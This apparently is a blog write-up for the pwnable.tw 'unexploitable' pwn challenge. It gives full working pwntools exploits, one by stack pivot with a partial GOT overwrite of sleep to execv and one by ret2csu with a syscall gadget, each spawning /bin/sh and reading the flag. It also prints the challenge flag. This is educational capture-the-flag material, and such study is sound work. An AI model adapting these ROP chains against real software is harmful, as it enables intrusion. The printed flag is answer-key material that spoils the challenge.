Logo ✧ Alter ✧
[PWNABLE.TW] - unexploitable

[PWNABLE.TW] - unexploitable

May 6, 2025
12 min read
Table of Contents
writeup

Challenge Information

Category
pwn
Points
500
Description
The original challenge is on pwnable.kr and it is solvable. This time we fix the vulnerability and now we promise that the service is unexploitable.
Flag
FLAG{4_r34lLy_Un3Xpl01T48l3_S3Rv1C3_Sh0UlD_n0T_H4v3_SYsC4ll_1NS1D3}

Reverse Engineering

Let’s start with checking the binary mitigations. We can use checksec to do that:

checksec
alter ^ Sol in /mnt/e/sec/lab/pwnable.tw/unexploitable
$ checksec unexploitable
[*] '/mnt/e/sec/lab/pwnable.tw/unexploitable/unexploitable'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

We can see that the binary is not stripped, which is a good thing for us. We can also see that there is no stack canary, which means we can overwrite the return address of a function. The binary is also not position independent, which means that the address of the functions will be the same every time we run the binary. Dive into the decompiled code to see what is going on

IDA
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF
sleep(3u);
return read(0, buf, 0x100uLL);
}

There’s only have one main function. In this function, we can see that it sleeps for 3 seconds and then calls the read function. The read function reads 0x100 bytes from the standard input into the buffer buf. The buffer is only 16 bytes long, so we have Buffer Overflow here.

Exploit Strategies

With only one function in the binary, and it allows us just to read 0x100 bytes into a buffer, no leak, no win function. So what we can do now? I have a few ideas in my mind:

  1. Because there is Partial RELRO, we can overwrite the GOT entry of sleep function to point to execv function. This function is not too far from the sleep function, so we can completely overwrite it with Partial Overwrite
  2. The binary has __libc_csu_init, which is really OP function. We can call everything using this function. This technique also called ret2csu

And in this write up, I will still give the method of doing the twwo in as much detail as possible.

Exploit

Method 1: Stack Pivot

I call this method Stack Pivot because my whole process is just pivoting and overwriting sleep -> execv. But first let’s collect some useful gadgets

exploit.py
mov_edi = 0x400600 # mov edi, [rsp+0x30] ; add rsp, 0x38 ; ret ;
leave_ret = 0x400576
ret = leave_ret + 1
read_gadget = 0x40055B

In this way I will mainly use these 4 gadgets. Everything has only one strange thing, the mov gadget, because the __libc_csu_init function in this binary has been recoded so it doesn’t have the pop gadgets like before, but that’s okay the mov gadget still has a similar function. And the reason I chose the execv function is because it really only needs one argument to drop the shell for us. According to the man page we can know that:

execv manpage
SYNOPSIS
#include <unistd.h>
extern char **environ;
int execv(const char *pathname, char *const argv[]);
DESCRIPTION
<...>
v - execv(), execvp(), execvpe()
The char *const argv[] argument is an array of pointers to null-terminated strings that represent the argument list available to the new program. The first argument, by convention, should point to the filename associated
with the file being executed. The array of pointers must be terminated by a null pointer.

So first we will start pivoting, because we will pivot into the section of sleep@GOT and when it returns it will return sleep@GOT + 0x18, so our first payload will have to be to read some areas of sleep@GOT + 0x10 + 0x10 then when we return in payload 2 when we use it to write to sleep@GOT it will have data to return. So our payload 1 will be like this:

exploit.py
offset = 0x10
read_gadget = 0x40055B
bss = 0x601800
mov_edi = 0x400600 # mov edi, [rsp+0x30] ; add rsp, 0x38 ; ret ;
leave_ret = 0x400576
ret = leave_ret + 1
payload = flat({
offset: [
exe.got.sleep + 0x10 + 0x10,
read_gadget
]
}, filler=b'A')
# input("Payload 1")
sleep(4)
s(payload)

And payload 2 is the same when it returns it will return to sleep@GOT + 0x18. Because our payload 2 will start from sleep@GOT + 0x10 so we will set up a place so that after reading it will return to:

exploit.py
# Start at 0x601020
payload = flat(
bss - 0x100 + 0x10,
read_gadget,
exe.got.sleep + 0x10,
read_gadget
)
# input("Payload 2")
sleep(0.5)
s(payload)
# input("Payload 3")
sleep(0.5)
s(p16(0x9cb0))

It looks complicated but let me debug it for you

GDB
pwndbg> x/20xg 0x601010
0x601010 <sleep@got.plt>: 0x00007ffff7ad9680 0x0000000000000000
0x601020: 0x0000000000601710 0x000000000040055b (2)
0x601030 <dtor_idx.6533>: 0x0000000000601020 0x000000000040055b (1)
0x601040: 0x0000000000000000 0x0000000000000000
0x601050: 0x0000000000000000 0x0000000000000000
0x601060: 0x0000000000000000 0x0000000000000000
0x601070: 0x0000000000000000 0x0000000000000000
0x601080: 0x0000000000000000 0x0000000000000000
0x601090: 0x0000000000000000 0x0000000000000000
0x6010a0: 0x0000000000000000 0x0000000000000000

This is the data when I read the 2nd payload in, and when it executes first it will execute the gadget at address 0x601038 first then when it returns it will take the value of saved RBP at 0x601030 which is 0x601020 to return then it continues to execute and gives us the 3rd read. And now we check in the GOT table and see that sleep has been overwritten to execv

GDB
pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /mnt/e/sec/lab/pwnable.tw/unexploitable/unexploitable_patched:
GOT protection: Partial RELRO | Found 3 GOT entries passing the filter
[0x601000] read@GLIBC_2.2.5 -> 0x7ffff7b04670 (read) ◂— cmp dword ptr [rip + 0x2d20c9], 0
[0x601008] __libc_start_main@GLIBC_2.2.5 -> 0x7ffff7a2e740 (__libc_start_main) ◂— push r14
[0x601010] sleep@GLIBC_2.2.5 -> 0x7ffff7ad9cb0 (execv) ◂— mov rax, qword ptr [rip + 0x2f7201]

And the last thing we will do is set up the necessary things to call execv. I won’t explain this part too much because it’s not too complicated. You can debug my script to understand better.

exploit.py
# Start at 0x601700
payload = flat(
0,
mov_edi,
bss - 0x100,
leave_ret,
b'C'*0x20,
p64(bss - 0x100 + 0x50),
exe.plt.sleep,
b'/bin/sh\0',
)
input("Payload 4")
sleep(0.5)
s(payload)

Because ASLR is always enabled, we need to brute force when running the script in remote. Note that the program will read our input after sleeping for 3 seconds, so to be safe and not mess up our inputs, we should let our exploit sleep for 4 seconds before reading the first payload, and don’t forget to let the exploit sleep in small intervals so that the input readings don’t overlap.

Full exploit

exploit.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwnie import *
from subprocess import check_output
from time import sleep
context.log_level = 'debug'
context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.6", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
exe = context.binary = ELF('./unexploitable_patched', checksec=False)
libc = exe.libc
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, aslr=False, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
elif args.DOCKER:
p = remote("localhost", 5000)
sleep(1)
pid = int(check_output(["pidof", "-s", "/app/run"]))
gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path)
pause()
return p
else:
return process([exe.path] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
# b *0x400576
b *0x400577
c
'''
# ==================== EXPLOIT ====================
while True:
p = start()
def exploit():
offset = 0x10
read_gadget = 0x40055B
bss = 0x601800
mov_edi = 0x400600 # mov edi, [rsp+0x30] ; add rsp, 0x38 ; ret ;
leave_ret = 0x400576
ret = leave_ret + 1
payload = flat({
offset: [
exe.got.sleep + 0x10 + 0x10,
read_gadget
]
}, filler=b'A')
# input("Payload 1")
sleep(4)
s(payload)
# Start at 0x601020
payload = flat(
bss - 0x100 + 0x10,
read_gadget,
exe.got.sleep + 0x10,
read_gadget
)
# input("Payload 2")
sleep(0.5)
s(payload)
# input("Payload 3")
sleep(0.5)
s(p16(0x9cb0))
# Start at 0x601700
payload = flat(
0,
mov_edi,
bss - 0x100,
leave_ret,
b'C'*0x20,
p64(bss - 0x100 + 0x50),
exe.plt.sleep,
b'/bin/sh\0',
)
# input("Payload 4")
sleep(0.5)
s(payload)
try:
sleep(0.5)
sl(b'echo WIN!!')
ru(b'WIN!!')
return True
except:
close()
return False
interactive()
if __name__ == '__main__':
if exploit():
sl(b'cat /home/unexploitable/f*')
interactive()
break
# FLAG{4_r34lLy_Un3Xpl01T48l3_S3Rv1C3_Sh0UlD_n0T_H4v3_SYsC4ll_1NS1D3}

Yes yes, I think this is unintended solution base on that flag 🥹

Method 2: ret2csu

So for this method, we will target 2 gadget in csu, and syscall gadget by overwrite sleep GOT:

GDB
pwndbg> disass __libc_csu_init
Dump of assembler code for function __libc_csu_init:
19 collapsed lines
0x0000000000400580 <+0>: mov QWORD PTR [rsp-0x28],rbp
0x0000000000400585 <+5>: mov QWORD PTR [rsp-0x20],r12
0x000000000040058a <+10>: lea rbp,[rip+0x200893] # 0x600e24
0x0000000000400591 <+17>: lea r12,[rip+0x20088c] # 0x600e24
0x0000000000400598 <+24>: mov QWORD PTR [rsp-0x18],r13
0x000000000040059d <+29>: mov QWORD PTR [rsp-0x10],r14
0x00000000004005a2 <+34>: mov QWORD PTR [rsp-0x8],r15
0x00000000004005a7 <+39>: mov QWORD PTR [rsp-0x30],rbx
0x00000000004005ac <+44>: sub rsp,0x38
0x00000000004005b0 <+48>: sub rbp,r12
0x00000000004005b3 <+51>: mov r13d,edi
0x00000000004005b6 <+54>: mov r14,rsi
0x00000000004005b9 <+57>: sar rbp,0x3
0x00000000004005bd <+61>: mov r15,rdx
0x00000000004005c0 <+64>: call 0x400400 <_init>
0x00000000004005c5 <+69>: test rbp,rbp
0x00000000004005c8 <+72>: je 0x4005e6 <__libc_csu_init+102>
0x00000000004005ca <+74>: xor ebx,ebx
0x00000000004005cc <+76>: nop DWORD PTR [rax+0x0]
0x00000000004005d0 <+80>: mov rdx,r15
0x00000000004005d3 <+83>: mov rsi,r14
0x00000000004005d6 <+86>: mov edi,r13d
0x00000000004005d9 <+89>: call QWORD PTR [r12+rbx*8]
0x00000000004005dd <+93>: add rbx,0x1
0x00000000004005e1 <+97>: cmp rbx,rbp
0x00000000004005e4 <+100>: jne 0x4005d0 <__libc_csu_init+80>
0x00000000004005e6 <+102>: mov rbx,QWORD PTR [rsp+0x8]
0x00000000004005eb <+107>: mov rbp,QWORD PTR [rsp+0x10]
0x00000000004005f0 <+112>: mov r12,QWORD PTR [rsp+0x18]
0x00000000004005f5 <+117>: mov r13,QWORD PTR [rsp+0x20]
0x00000000004005fa <+122>: mov r14,QWORD PTR [rsp+0x28]
0x00000000004005ff <+127>: mov r15,QWORD PTR [rsp+0x30]
0x0000000000400604 <+132>: add rsp,0x38
0x0000000000400608 <+136>: ret
pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /mnt/e/sec/lab/pwnable.tw/unexploitable/unexploitable_patched:
GOT protection: Partial RELRO | Found 3 GOT entries passing the filter
[0x601000] read@GLIBC_2.2.5 -> 0x7ffff7b04670 (read) ◂— cmp dword ptr [rip + 0x2d20c9], 0
[0x601008] __libc_start_main@GLIBC_2.2.5 -> 0x7ffff7a2e740 (__libc_start_main) ◂— push r14
[0x601010] sleep@GLIBC_2.2.5 -> 0x7ffff7ad9680 (sleep) ◂— push rbp
pwndbg> x/30i 0x7ffff7ad9680
29 collapsed lines
0x7ffff7ad9680 <__sleep>: push rbp
0x7ffff7ad9681 <__sleep+1>: push rbx
0x7ffff7ad9682 <__sleep+2>: mov eax,edi
0x7ffff7ad9684 <__sleep+4>: sub rsp,0x18
0x7ffff7ad9688 <__sleep+8>: mov rbx,QWORD PTR [rip+0x2f77e9] # 0x7ffff7dd0e78
0x7ffff7ad968f <__sleep+15>: mov rdi,rsp
0x7ffff7ad9692 <__sleep+18>: mov rsi,rsp
0x7ffff7ad9695 <__sleep+21>: mov QWORD PTR [rsp+0x8],0x0
0x7ffff7ad969e <__sleep+30>: mov QWORD PTR [rsp],rax
0x7ffff7ad96a2 <__sleep+34>: mov ebp,DWORD PTR fs:[rbx]
0x7ffff7ad96a5 <__sleep+37>: call 0x7ffff7ad9730 <nanosleep>
0x7ffff7ad96aa <__sleep+42>: test eax,eax
0x7ffff7ad96ac <__sleep+44>: js 0x7ffff7ad96c0 <__sleep+64>
0x7ffff7ad96ae <__sleep+46>: mov DWORD PTR fs:[rbx],ebp
0x7ffff7ad96b1 <__sleep+49>: add rsp,0x18
0x7ffff7ad96b5 <__sleep+53>: xor eax,eax
0x7ffff7ad96b7 <__sleep+55>: pop rbx
0x7ffff7ad96b8 <__sleep+56>: pop rbp
0x7ffff7ad96b9 <__sleep+57>: ret
0x7ffff7ad96ba <__sleep+58>: nop WORD PTR [rax+rax*1+0x0]
0x7ffff7ad96c0 <__sleep+64>: mov eax,DWORD PTR [rsp]
0x7ffff7ad96c3 <__sleep+67>: add rsp,0x18
0x7ffff7ad96c7 <__sleep+71>: pop rbx
0x7ffff7ad96c8 <__sleep+72>: pop rbp
0x7ffff7ad96c9 <__sleep+73>: ret
0x7ffff7ad96ca: nop WORD PTR [rax+rax*1+0x0]
0x7ffff7ad96d0 <pause>: cmp DWORD PTR [rip+0x2fd069],0x0 # 0x7ffff7dd6740 <__libc_multiple_threads>
0x7ffff7ad96d7 <pause+7>: jne 0x7ffff7ad96e9 <pause+25>
0x7ffff7ad96d9 <__pause_nocancel>: mov eax,0x22
0x7ffff7ad96de <__pause_nocancel+5>: syscall

So that’s the idea, with the power of __libc_csu_init we can call everything we want. So this is my exploit for it, please debug it to understand better:

exploit.py
34 collapsed lines
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwnie import *
from subprocess import check_output
from time import sleep
context.log_level = 'debug'
context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.6", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
exe = context.binary = ELF('./unexploitable_patched', checksec=False)
libc = exe.libc
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, aslr=False, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
elif args.DOCKER:
p = remote("localhost", 5000)
sleep(1)
pid = int(check_output(["pidof", "-s", "/app/run"]))
gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path)
pause()
return p
else:
return process([exe.path] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
b *0x400577
c
'''
p = start()
# ==================== EXPLOIT ====================
def ret2csu(rbx, rbp, r12, r13, r14, r15, ret):
payload = flat(
[
0, # rsp + 0x0
rbx, # rsp + 0x8
rbp, # rsp + 0x10
r12, # rsp + 0x18
r13, # rsp + 0x20
r14, # rsp + 0x28
r15, # rsp + 0x30
ret # rsp + 0x38
]
)
return payload
def exploit():
offset = 0x18
csu_gadget1 = 0x4005e6 # mov rbx, qword [rsp+0x08]; mov rbp, qword [rsp+0x10]; mov r12, qword [rsp+0x18]; mov r13, qword [rsp+0x20]; mov r14, qword [rsp+0x28]; mov r15, qword [rsp+0x30]; add rsp, 0x38; ret;
csu_gadget2 = 0x4005d0 # mov rdx,r15; mov rsi,r14; mov edi,r13d; call QWORD PTR [r12+rbx*8]; add rbx,0x1; cmp rbx,rbp; jne 0x4005d0 <__libc_csu_init+80>
bss = 0x601800
main = exe.sym.main
read_got = exe.got['read']
sleep_got = exe.got['sleep']
# call = r12
# rdi = r13
# rsi = r14
# rdx = r15
payload = b'A'*offset
payload += p64(csu_gadget1)
payload += ret2csu(0, 1, read_got, 0, bss+0x100, 0x8, csu_gadget2) # Read /bin/sh string into bss+0x100
payload += ret2csu(0, 0, 0, 0, 0, 0, main) # Return to main for another read
sleep(3)
input("Payload 1")
s(payload)
input("Read /bin/sh string")
s(b'/bin/sh\0')
payload = b'B'*offset
payload += p64(csu_gadget1)
payload += ret2csu(0, 1, read_got, 0, sleep_got, 0x1, csu_gadget2) # Overwrite sleep_got to syscall gadget
payload += ret2csu(0, 1, read_got, 0, bss, 0x3b, csu_gadget2) # Setup rax to syscall number 0x3b (execve)
payload += ret2csu(0, 1, sleep_got, bss+0x100, 0, 0, csu_gadget2) # Call execve
sleep(3)
input("Payload 2")
s(payload)
input("Overwrite sleep_got")
s(p8(0xde))
input("Call execve")
s(b'C'*0x3b)
sl(b'cat /home/unexploitable/f*')
interactive()
if __name__ == '__main__':
exploit()

Note that rbx and rbp must be 0 and 1 so that when it will do add rbx,0x1; cmp rbx,rbp; jne 0x4005d0 <__libc_csu_init+80> it will not loop back to csu_gadget2 again.